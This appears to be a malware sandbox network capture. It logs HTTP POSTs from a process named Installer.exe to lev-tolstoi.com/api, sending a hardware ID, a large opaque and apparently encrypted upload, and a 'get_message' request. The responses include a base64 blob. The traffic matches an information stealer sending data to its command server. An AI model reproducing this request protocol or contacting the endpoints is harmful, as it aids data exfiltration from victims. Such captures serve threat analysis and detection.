Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:13:40 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=I6ZOP83R0K User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1218 Host: lev-tolstoi.com
2024-12-27 22:13:40 UTC	1218	OUT	Data Raw: 2d 2d 49 36 5a 4f 50 38 33 52 30 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 45 41 43 37 41 44 35 46 37 37 35 44 46 42 37 31 34 34 31 45 44 44 38 45 30 35 43 45 33 44 41 0d 0a 2d 2d 49 36 5a 4f 50 38 33 52 30 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 49 36 5a 4f 50 38 33 52 30 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 35 32 32 33 31 39 38 36 37 31 0d 0a 2d 2d 49 36 5a 4f 50 38 33 52 30 4b 0d 0a 43 6f 6e Data Ascii: --I6ZOP83R0KContent-Disposition: form-data; name="hwid"4EAC7AD5F775DFB71441EDD8E05CE3DA--I6ZOP83R0KContent-Disposition: form-data; name="pid"1--I6ZOP83R0KContent-Disposition: form-data; name="lid"yau6Na--5223198671--I6ZOP83R0KCon
2024-12-27 22:13:40 UTC	1128	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 22:13:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=89uvsgk959riipckt0hru5minr; expires=Tue, 22 Apr 2025 16:00:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7BIuoa4l7ZB0gztrgQqrT%2BpvU9R1NsCDKB5TcAr9OsNGy8jIhEDj7q7OrS9b4OlGOG8jACVKmpyeZ6crloOedU3XPYtCaKt%2Fd%2B%2BYR5yUr%2FFP0utL0nQopHfi6crTSIGVVYw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8ca8bf2b72c44d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1531&min_rtt=1461&rtt_var=689&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=2126&delivery_rate=1441263&cwnd=250&unsent_bytes=0&cid=a9d11f2404fbe9e0&ts=815&x=0"
2024-12-27 22:13:40 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 22:13:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49743	104.21.66.86	443	7488	C:\Users\user\Desktop\Installer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:13:42 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=8TXD8I0K6I3O97JCMUW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 570573 Host: lev-tolstoi.com
2024-12-27 22:13:42 UTC	15331	OUT	Data Raw: 2d 2d 38 54 58 44 38 49 30 4b 36 49 33 4f 39 37 4a 43 4d 55 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 45 41 43 37 41 44 35 46 37 37 35 44 46 42 37 31 34 34 31 45 44 44 38 45 30 35 43 45 33 44 41 0d 0a 2d 2d 38 54 58 44 38 49 30 4b 36 49 33 4f 39 37 4a 43 4d 55 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 38 54 58 44 38 49 30 4b 36 49 33 4f 39 37 4a 43 4d 55 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 35 32 Data Ascii: --8TXD8I0K6I3O97JCMUWContent-Disposition: form-data; name="hwid"4EAC7AD5F775DFB71441EDD8E05CE3DA--8TXD8I0K6I3O97JCMUWContent-Disposition: form-data; name="pid"1--8TXD8I0K6I3O97JCMUWContent-Disposition: form-data; name="lid"yau6Na--52
2024-12-27 22:13:42 UTC	15331	OUT	Data Raw: 16 7e 74 8a f5 dd e3 18 65 26 61 e0 49 9c 12 90 f2 e6 bf ff d4 22 e4 03 f8 5d 15 2b 4c 25 56 4a 33 96 00 92 9e 84 05 53 1e 87 bd 02 6c 33 05 f0 bb f0 5a df 61 1c 92 d1 db 0a af 31 86 ce 4b d2 f0 bb c9 2e 22 e0 8c 3a 16 c6 71 b1 6b d6 e8 50 c5 ed ab fb b9 6e db 41 6a 90 e3 ff 5b a5 a4 f9 00 dd 7e 57 70 07 0d ea c9 e4 9e 20 e0 b5 85 83 05 68 0a ce 69 61 e1 25 66 ec 9e b4 52 01 88 f7 e7 82 51 ea 31 06 6f c1 d0 b6 cd 12 62 1c 92 ea 15 06 97 12 d3 1c dc 70 a0 41 9e 17 60 8c 8e d9 9e e1 50 02 c9 a9 c0 d4 ed fc 22 4d 9a df e6 e7 e4 b0 87 5f 8c 98 a2 9d 52 5e 8e 5c 28 7a c4 38 fe d5 e2 94 0a 6f 5a 2b 8e 5a 61 2a ab 31 04 cb f4 14 21 36 80 f7 a3 a8 18 53 70 01 c3 a2 a4 6c 35 f8 bb c8 73 6a 1d 89 5c d2 8a 7c 15 ff 98 f1 f8 aa 9d 04 95 cc 48 c7 c2 12 cb 9a 33 ef 96 Data Ascii: ~te&aI"]+L%VJ3Sl3Za1K.":qkPnAj[~Wp hia%fRQ1obpA`P"M_R^\(z8oZ+Za*1!6Spl5sj\\|H3
2024-12-27 22:13:42 UTC	15331	OUT	Data Raw: 84 df b7 c4 33 99 55 bf 5c 15 f4 4f 0b 15 09 2f 16 46 34 ab e9 44 14 55 22 24 6f 59 19 49 63 1f 47 da 98 39 bd 9a ce 68 ff b5 06 cd 21 2c 6f 14 94 c2 be a8 b7 ca 6d 12 70 e4 a6 c2 58 fe 44 44 0b 45 22 d8 4b 82 76 ea 01 ae e3 05 82 8a 94 19 06 7b a5 22 4b 4c d7 32 1f 0d 9b 8a d1 2a e3 d3 cf 2a d7 25 43 04 88 7b ba df e5 37 d1 4d a6 60 a1 18 2d d5 87 78 b9 c2 17 1a b3 1f 0a 45 c6 76 4f 1a 02 1f 24 fa 4d 9d 52 04 62 82 4a ae 29 c5 e8 a0 7b 06 c3 85 66 bf 18 4d 0f 76 ac d3 4b 2c f6 77 9e 67 4a a2 c3 05 79 fb ea e9 7f a9 ba 7e 8f a3 30 0c ca 38 73 73 46 7e ab 6f 8e 59 72 06 a4 11 7e e7 2b 72 73 dd 0c 22 5c 6b 47 a8 d6 f7 07 c8 7b ba ae 47 50 ae 9c e1 ba bc c1 43 a3 af e6 a7 be 8b 5d ae fc 2b e8 67 8b c6 66 bc b7 0b e4 a3 09 67 9e 20 63 ee 60 ee 3e 58 bc 14 93 Data Ascii: 3U\O/F4DU"$oYIcG9h!,ompXDDE"Kv{"KL2**%C{7M`-xEvO$MRbJ){fMvK,wgJy~08ssF~oYr~+rs"\kG{GPC]+gfg c`>X
2024-12-27 22:13:42 UTC	15331	OUT	Data Raw: 1c 65 3a ef 2a 4f a1 ef c5 1e c3 50 4b af ee 2d 9a a8 3a 34 52 dc a0 7d 72 10 21 ee ee 1d a0 fa 42 97 d3 ef 2d 43 8a be fa ed 49 89 ed d2 57 7b ea c5 a5 67 57 c3 80 6d 0c 6a 8e 6d d6 9a 57 02 30 d4 df 77 3f 1e 79 c5 74 e9 0b ce 40 1d 68 99 6f de f7 68 9d 70 35 5c 29 35 c5 db 3a 18 e5 bf bb 36 f5 17 41 37 45 50 fc 45 ec 80 2f 38 63 f3 5f d1 e4 e8 f5 8e 3a a3 9c a5 89 66 ab ed a5 a2 8f 4e bc e4 68 f9 dd 25 35 9f b8 66 3b e7 c3 af 17 de fb ef 65 c8 0e 0b de a1 b8 7d 40 f7 22 3f 3f e4 48 3f 20 fc 57 4b 49 dd dc e4 5c a4 ba 86 2e d9 7d bc d1 1b b5 24 72 13 ed 71 cf 35 49 28 a9 41 4f d0 cc 05 8c b5 a9 31 95 ba bd 05 c1 b5 25 d8 79 94 ba 79 5c 86 4e 18 dc f2 bb 73 f2 73 37 8e d9 d3 7e b4 24 6d e1 11 65 6f 77 fb c7 b9 d4 ca 1f 1c 83 38 0b 8a ec d5 e6 bb 3c c5 8b Data Ascii: e:*OPK-:4R}r!B-CIW{gWmjmW0w?yt@hohp5\)5:6A7EPE/8c_:fNh%5f;e}@"??H? WKI\.}$rq5I(AO1%yy\Nss7~$meow8<
2024-12-27 22:13:42 UTC	15331	OUT	Data Raw: 06 4c 0f e3 cd 08 e2 bb 5d 01 a1 65 8d 5b ca 0c e9 87 c4 e9 c5 4c de 84 4d f5 fd b9 38 b8 79 50 47 b8 cb 57 eb 34 c7 47 ca 68 bc cd c1 ab 9c 9c b3 e0 35 34 f2 42 75 a9 36 b9 aa 2c 09 1d 7b 40 75 c4 82 63 13 bc df d9 45 5e 6c f7 ce 9e 56 a6 db 43 6e b3 66 65 de 93 bf c7 4a 32 e0 55 81 9b d5 19 ae b9 10 6f 19 d1 8b 30 98 e3 82 3f cc 18 dc dc 8b 10 02 46 13 b9 50 1d 11 e8 bd 3e c3 47 1c 1c 57 b3 d9 81 3c 0f a5 37 44 fd af 4c da 22 83 02 6e 7b 4d 3a 15 dd 47 82 0f f7 32 9b 78 c0 10 c5 71 d4 5a d5 05 23 bc f3 ee fd a7 c3 ef b5 4d fd b5 24 1d ee 1f 91 b4 b9 a7 f2 5e d9 9c 94 ee 87 fe fb 80 d6 b4 70 32 61 05 62 f8 27 52 f9 fe ff af e4 86 24 28 1d e3 81 f3 c0 e2 9f 81 4b 32 8b 6f 84 18 55 e5 94 94 16 64 31 fc 79 b1 e4 51 11 0f 07 e1 3c d5 fe 89 b3 23 9c f0 5d a2 Data Ascii: L]e[LM8yPGW4Gh54Bu6,{@ucE^lVCnfeJ2Uo0?FP>GW<7DL"n{M:G2xqZ#M$^p2ab'R$(K2oUd1yQ<#]
2024-12-27 22:13:42 UTC	15331	OUT	Data Raw: 50 20 c8 0c 39 a5 d8 68 e9 99 1d 29 5b 0a d0 bd 3d bc a6 bd 64 7b 2b b1 42 b8 41 90 d2 e4 c6 f7 72 e2 6c e7 e4 d2 da 90 8d 5b c5 fc 3a b3 08 39 a7 3a 09 e1 a6 72 64 85 45 e3 e7 e5 1a 6c b5 7c a1 8b 3d a1 40 ee 59 54 21 a9 d1 c0 c0 57 e0 c7 c1 96 40 aa ba 72 ab b7 76 6d 02 14 ef bd ed f3 2c 4d 0b 19 58 b0 fd 6a 47 ad 88 b5 0c 23 00 b1 ab d6 19 a5 1c ae cf b1 ed e2 98 d2 2f 84 01 41 37 c6 ee f1 f5 dc 3f 72 77 6b d2 a9 5e b1 bb c8 d9 a3 2d 59 a8 44 25 da 50 cc 7e bc ef f2 47 23 9b 6f fa 9e 05 82 86 1a 4d 61 5b 7c 61 a7 db f8 8a f3 0d 67 1d 63 7b 2b b6 1f fc 08 32 fc 21 74 ce 59 f6 57 5d e2 33 e8 77 09 36 b7 32 11 43 00 0f 86 0a e8 ad 6d 83 f2 b6 dc 1f ae 90 70 36 a2 77 10 b7 7e 8b 5e 70 54 e7 f0 96 3e ee 10 c7 1f 35 b1 75 94 5e 64 66 40 32 ac 92 64 44 ef 53 Data Ascii: P 9h)[=d{+BArl[:9:rdEl\|=@YT!W@rvm,MXjG#/A7?rwk^-YD%P~G#oMa[\|agc{+2!tYW]3w62Cmp6w~^pT>5u^df@2dDS
2024-12-27 22:13:42 UTC	15331	OUT	Data Raw: b0 87 36 b9 eb 75 52 85 c5 72 5f 94 b2 7f ac 99 e0 72 2e 90 21 62 31 1b 89 3c 84 91 e5 6d 96 b5 0b 99 5e ff 59 4e 91 13 25 ef ea 7a ce 2a f9 ff da 2a 7e e2 64 11 f0 f5 ce e1 bc b8 2a 8f 37 fb da 02 e3 74 fb be 21 f1 ee dc b7 aa ac 61 89 26 d8 85 53 25 c8 48 41 90 87 0e ac 2e cd 48 4a e3 04 21 37 50 e7 36 53 90 ba 9b 0d 9b 28 77 b8 55 f5 50 f4 c7 45 40 58 f5 0e 02 b7 70 32 b3 99 13 1c a8 92 ff 6d d9 2b 1b 1f bd 64 c0 b5 3b cb 43 b2 5e a6 fe f5 af 8f 1f 21 7f ec 8c cf 06 12 c4 7b 6f e0 16 71 c8 f2 5b 8e 69 ee 73 25 f1 d5 78 45 2b 5a 12 63 fd 67 26 3e f2 c9 66 68 0a 22 f9 36 0b b3 39 6e 4b 1a 4a 28 d0 46 c2 cd 07 ac 48 13 74 56 ee ac 96 7e 9b 8f 66 fd 8c 12 bd 89 06 b8 cd d5 9f 69 2c 9f 21 04 fd da e8 d2 e3 9c 7b 81 4c 76 80 73 f5 8f 6b 51 0e bd 60 b1 46 08 Data Ascii: 6uRr_r.!b1<m^YN%z*~d7t!a&S%HA.HJ!7P6S(wUPE@Xp2m+d;C^!{oq[is%xE+Zcg&>fh"69nKJ(FHtV~fi,!{LvskQ`F
2024-12-27 22:13:42 UTC	15331	OUT	Data Raw: 6d 0a 66 b2 e8 78 91 61 14 c8 ee 4b 78 48 a9 87 95 f8 81 b5 11 b3 ee 0e 92 a0 fb 0e f5 27 91 10 22 87 98 77 a2 1e 08 98 83 d7 0d e7 af 85 c2 84 e7 21 fa fc 89 8b 43 15 0e a3 79 e9 04 11 4d 86 42 ba e2 6b 72 82 a7 29 6c 5a 0f 97 49 75 51 b9 ef a6 6d 2e 86 61 60 02 d9 99 ef 57 fb 7f db d3 5a f4 32 7f 24 6c 02 9e 03 73 cf 51 b0 ec fc 99 f1 17 58 98 0f c7 bb 28 8d ed 1c 9f 98 73 65 db 0f 44 1a 10 b5 51 66 62 7d 45 37 ec 6b 5d 94 d2 e7 c6 53 cc 2e 28 5e 52 ca 30 98 53 6f 73 8d b5 af 21 ca 87 ea 5d 12 8c 27 f3 03 5e 81 f5 d8 aa a3 ae f5 9d 66 4d e3 fb 43 1c a5 02 90 98 55 be a2 5e fa 03 4f 7f 12 f6 fa be 45 6f 28 19 d9 9d 1a d7 52 c3 7b 22 1a 68 36 9f 06 bf 95 af ea 97 78 72 5e 94 3d 38 3e 2c d1 ef b4 e9 fc 2f e2 09 a5 70 ff 54 fd 55 01 52 a0 47 0c 63 d8 28 bf Data Ascii: mfxaKxH'"w!CyMBkr)lZIuQm.a`WZ2$lsQX(seDQfb}E7k]S.(^R0Sos!]'^fMCU^OEo(R{"h6xr^=8>,/pTURGc(
2024-12-27 22:13:42 UTC	15331	OUT	Data Raw: f1 e3 2e c9 c4 d2 7d 5d bf f3 c7 9f a1 4b 98 ee eb 27 7d 7b a2 0a 35 2f 12 f7 f7 00 fa 60 26 42 4b 82 98 f9 b2 a0 ea f2 7e 00 ff cb 0b a2 0d 26 dd 2b 73 d6 5e 26 b6 90 b5 b1 5c 07 d4 77 4d 1e 81 ed 66 0e 33 52 e0 ea 6e 53 79 88 14 0f 07 21 cb 84 33 2c dd 47 93 e1 d7 64 5e 8c 5d 90 c4 12 a7 f8 3a 7e 25 f8 2d 08 b7 12 10 91 6e 7e 1e f3 0f 54 b8 73 7b 2a d4 3b 1d 3a 96 20 cb 6c 5c a7 89 e0 77 c9 c2 ef 00 ca 6d 28 29 76 eb e0 f3 10 22 fe 06 e3 62 b2 ed 6c 77 d1 b0 1e 5b 46 58 c8 8d 7b f0 da 68 81 70 94 4a 27 e0 4e cc 85 1f 25 c0 5a 86 bf e6 98 9c 57 3a 6d 0d d1 12 a2 42 90 f2 46 a0 0e 55 98 20 42 27 ec bb 54 ff 00 e2 87 f8 f8 05 25 be d5 1c 78 14 2b ff f4 13 38 d0 fb b5 29 1f 65 d6 10 2c c1 79 03 d2 9f 04 ab 22 68 c1 ae 31 8d 2f 9e 0c aa 3b e4 b7 07 f0 cd 26 Data Ascii: .}]K'}{5/`&BK~&+s^&\wMf3RnSy!3,Gd^]:~%-n~Ts{*;: l\wm()v"blw[FX{hpJ'N%ZW:mBFU B'T%x+8)e,y"h1/;&
2024-12-27 22:13:42 UTC	15331	OUT	Data Raw: 10 4a 30 e7 f9 7a 3f b9 3e 42 2d 55 e9 b0 b6 b4 72 9d d6 78 39 f3 f7 93 73 a1 ed fb 02 38 47 cd 56 bc 10 1b 80 7d b4 45 ba ff 3f 40 99 7d ae f5 a8 d0 18 a4 9b 33 36 f4 f6 3f dd 3e 0e 1b df 05 75 0b b2 f9 e7 aa ef 1f be 25 41 d8 6e 14 c0 ed 85 c8 fc 50 c6 9e e8 a1 d8 7c 23 3b 14 0c 87 d9 ee de 66 e9 cf 59 b7 7e 06 d7 87 f0 72 a7 b0 ec 82 ec a3 fb a5 99 b7 1a d4 6c 4e 23 6b 1b e3 be bf f4 cd f1 52 00 7b f0 9c 80 c8 aa c5 18 a9 93 4e be dc 0f cd ae 0e b2 b4 a2 09 0b 7e b2 38 e7 f1 57 f3 db 00 3f 81 f8 6b 84 18 84 0b c6 6d fd 7a 76 69 34 49 84 e2 0b 99 3b e6 67 20 64 1e d6 8b ee 10 6c ca d2 3a 04 0e 5b a7 d7 d6 18 ad 06 a6 35 a1 4d 4b 31 fc f4 46 1e 8a b9 49 31 f7 3c cb 5a 4f fa 74 3d 8d 17 4c 6e a0 67 ec 40 d3 2f 61 8d 05 ca eb a4 5a d9 74 c5 fa 40 59 91 31 Data Ascii: J0z?>B-Urx9s8GV}E?@}36?>u%AnP\|#;fY~rlN#kR{N~8W?kmzvi4I;g dl:[5MK1FI1<ZOt=Lng@/aZt@Y1
2024-12-27 22:13:45 UTC	1133	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 22:13:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1mi9bo7nq9ucm2i7mesokhvfgt; expires=Tue, 22 Apr 2025 16:00:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fhjotjI1C0ty16zBuBiIKuuCrmOUQQuBifCJxavW7Aaf8c2lsALcgUMrCAv9Zg%2Bu25ww8DFGLFlr%2F0EcH6yVMUl3FOznTOxEPZBO0kHRqyC%2Bmo%2BMiMGMnTr7lKO3z758O4M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8ca8ce8cbbc3f3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1551&min_rtt=1499&rtt_var=599&sent=322&recv=588&lost=0&retrans=0&sent_bytes=2836&recv_bytes=573120&delivery_rate=1947965&cwnd=190&unsent_bytes=0&cid=e48b452039189119&ts=2454&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49747	104.21.66.86	443	7488	C:\Users\user\Desktop\Installer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:13:46 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: lev-tolstoi.com
2024-12-27 22:13:46 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 61 75 36 4e 61 2d 2d 35 32 32 33 31 39 38 36 37 31 26 6a 3d 26 68 77 69 64 3d 34 45 41 43 37 41 44 35 46 37 37 35 44 46 42 37 31 34 34 31 45 44 44 38 45 30 35 43 45 33 44 41 Data Ascii: act=get_message&ver=4.0&lid=yau6Na--5223198671&j=&hwid=4EAC7AD5F775DFB71441EDD8E05CE3DA
2024-12-27 22:13:47 UTC	1119	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 22:13:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=auv6u9fvmhooqmh3e2jcfi2i9g; expires=Tue, 22 Apr 2025 16:00:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RucthsARfeqtVHc2D8Sm5oRC0p7JrqkpFBiMrscAe1OW7woYl5U4%2B1dqD0i30vPYDfrbyuFRBJr5YprqfCpecsAYV4C0BgtCSFwU6Ts8YG0Q0RvYxARmzj9qSqVrsiLPn18%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8ca8e61da58cda-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1825&min_rtt=1820&rtt_var=692&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=986&delivery_rate=1569892&cwnd=242&unsent_bytes=0&cid=d675037ba59072d7&ts=776&x=0"
2024-12-27 22:13:47 UTC	250	IN	Data Raw: 33 36 38 63 0d 0a 4a 43 74 54 6d 6e 61 6a 45 41 6b 78 37 79 4f 2f 6e 62 43 45 43 4f 6e 78 6e 6e 43 68 43 43 52 33 47 68 6e 77 67 68 48 35 67 4d 52 2f 55 48 48 38 41 6f 45 71 4f 42 33 4e 52 70 32 6e 67 61 67 71 6a 64 4f 6b 55 75 6c 74 46 55 39 65 64 4b 44 32 65 35 44 30 6f 46 34 64 50 74 4d 4d 37 43 64 34 5a 36 35 54 2b 61 36 49 74 30 4f 6c 6c 73 34 61 35 56 31 53 41 55 31 4f 70 76 42 65 77 63 71 56 55 46 77 43 31 53 2f 57 49 6b 5a 36 33 6b 33 76 37 4f 6e 75 52 64 36 45 37 69 58 69 59 33 77 52 59 48 71 66 39 31 44 53 7a 6f 70 33 41 47 72 41 4c 50 52 6a 50 6b 61 48 45 4d 76 37 38 62 46 69 33 71 69 71 41 76 6c 72 44 77 64 7a 56 49 72 33 4a 35 58 52 6a 33 5a 50 44 37 55 34 32 6e 6b 39 64 64 74 55 6a 74 47 48 74 57 4f 4e 6b 4f 51 47 34 6b 31 34 Data Ascii: 368cJCtTmnajEAkx7yO/nbCECOnxnnChCCR3GhnwghH5gMR/UHH8AoEqOB3NRp2ngagqjdOkUultFU9edKD2e5D0oF4dPtMM7Cd4Z65T+a6It0Olls4a5V1SAU1OpvBewcqVUFwC1S/WIkZ63k3v7OnuRd6E7iXiY3wRYHqf91DSzop3AGrALPRjPkaHEMv78bFi3qiqAvlrDwdzVIr3J5XRj3ZPD7U42nk9ddtUjtGHtWONkOQG4k14
2024-12-27 22:13:47 UTC	1369	IN	Data Raw: 57 46 5a 65 73 63 56 66 6f 2b 6a 76 66 68 4d 33 72 42 7a 6d 55 57 6f 61 78 48 50 34 30 49 4c 59 4a 39 37 44 71 69 48 32 57 33 59 56 57 58 75 67 7a 58 61 6f 78 70 4a 46 47 69 50 67 4a 4a 5a 69 57 41 53 7a 44 49 6a 50 36 4c 5a 6c 6b 63 66 33 4f 63 35 71 53 45 64 41 59 49 47 31 59 4c 62 52 6a 32 55 41 48 66 34 79 31 69 6c 54 65 72 68 4d 34 37 4c 48 37 57 57 76 74 39 6b 63 79 7a 39 39 51 32 68 42 6b 36 6c 68 6b 4d 4f 2b 55 52 30 62 7a 7a 54 78 58 6b 46 2f 6c 6b 6d 4c 32 59 54 7a 4f 61 76 47 72 78 7a 4e 61 56 34 42 57 56 47 57 73 79 6d 39 37 5a 51 64 51 54 72 75 45 74 6b 6d 5a 48 69 56 62 49 6a 73 34 73 56 34 76 38 4b 6d 51 2b 70 45 5a 53 64 77 57 73 44 30 5a 36 37 58 6b 6c 5a 6b 61 39 4d 55 6c 45 68 2b 66 72 59 49 6a 64 4c 37 74 54 71 50 67 4d 63 61 37 44 35 Data Ascii: WFZescVfo+jvfhM3rBzmUWoaxHP40ILYJ97DqiH2W3YVWXugzXaoxpJFGiPgJJZiWASzDIjP6LZlkcf3Oc5qSEdAYIG1YLbRj2UAHf4y1ilTerhM47LH7WWvt9kcyz99Q2hBk6lhkMO+UR0bzzTxXkF/lkmL2YTzOavGrxzNaV4BWVGWsym97ZQdQTruEtkmZHiVbIjs4sV4v8KmQ+pEZSdwWsD0Z67XklZka9MUlEh+frYIjdL7tTqPgMca7D5
2024-12-27 22:13:47 UTC	1369	IN	Data Raw: 73 48 4f 4a 73 6a 73 71 45 56 52 4a 64 6b 2b 78 69 45 78 64 59 4a 7a 79 2f 66 5a 38 47 79 54 78 2f 4d 35 32 30 63 54 42 6b 78 59 67 4d 51 69 77 62 4f 50 61 45 77 44 38 44 4c 32 5a 6e 39 6d 75 48 58 4e 30 6f 6a 4e 62 4e 36 70 36 54 2f 34 49 78 59 34 55 53 6a 44 30 6d 43 67 36 6f 6b 54 58 69 50 50 4e 63 68 49 62 30 75 4d 54 4d 72 63 6d 38 6c 47 75 74 71 6e 4b 76 74 66 56 30 42 74 63 63 50 32 64 37 69 31 72 68 4e 79 5a 2b 67 75 77 44 74 35 57 4b 4a 5a 79 71 76 63 31 55 4f 37 6c 63 4a 66 37 33 46 4e 51 31 34 74 68 37 4e 64 7a 72 47 6f 53 45 6f 70 37 44 58 72 64 54 67 4a 71 30 37 76 36 64 72 74 66 49 32 4c 71 42 33 6f 63 6d 74 41 61 30 2b 78 38 6c 66 4b 75 50 64 76 5a 7a 54 4b 48 4f 64 46 66 30 65 34 64 4f 6e 76 2f 37 78 42 6a 63 62 47 42 2b 35 52 44 30 56 56 Data Ascii: sHOJsjsqEVRJdk+xiExdYJzy/fZ8GyTx/M520cTBkxYgMQiwbOPaEwD8DL2Zn9muHXN0ojNbN6p6T/4IxY4USjD0mCg6okTXiPPNchIb0uMTMrcm8lGutqnKvtfV0BtccP2d7i1rhNyZ+guwDt5WKJZyqvc1UO7lcJf73FNQ14th7NdzrGoSEop7DXrdTgJq07v6drtfI2LqB3ocmtAa0+x8lfKuPdvZzTKHOdFf0e4dOnv/7xBjcbGB+5RD0VV
2024-12-27 22:13:47 UTC	1369	IN	Data Raw: 2b 66 2b 49 42 71 61 52 6e 54 44 35 64 55 50 51 58 5a 45 64 44 65 79 65 6b 38 6e 37 44 73 4a 4d 6c 44 59 45 39 4d 63 4b 72 7a 65 4b 57 76 6b 30 6b 66 59 64 73 44 30 46 52 6c 42 64 39 77 69 4d 6a 66 38 32 6d 5a 79 4e 77 58 6d 46 31 73 45 43 67 6f 75 39 64 70 76 62 4b 56 56 6d 59 63 30 67 58 6b 4a 54 74 38 75 57 6e 78 2b 76 6a 6e 63 71 79 6d 38 79 62 4e 61 31 4d 36 54 6e 4f 39 73 6c 57 2b 78 5a 4e 51 61 52 44 33 46 39 64 6e 63 57 58 65 56 49 61 6b 31 4c 64 76 72 36 6a 50 47 35 49 77 63 69 42 2b 59 37 37 6f 59 4e 4c 31 67 45 68 48 4a 4b 74 47 34 46 64 4c 65 62 4d 4d 38 4b 33 31 79 6e 6d 43 79 4e 49 35 38 32 5a 4d 4a 58 64 59 6c 63 64 56 6d 73 36 58 54 55 38 56 2f 6b 58 75 61 45 39 5a 69 6e 4c 50 72 49 4f 39 4f 70 71 69 32 53 6a 76 53 55 67 6c 61 45 36 6e 31 Data Ascii: 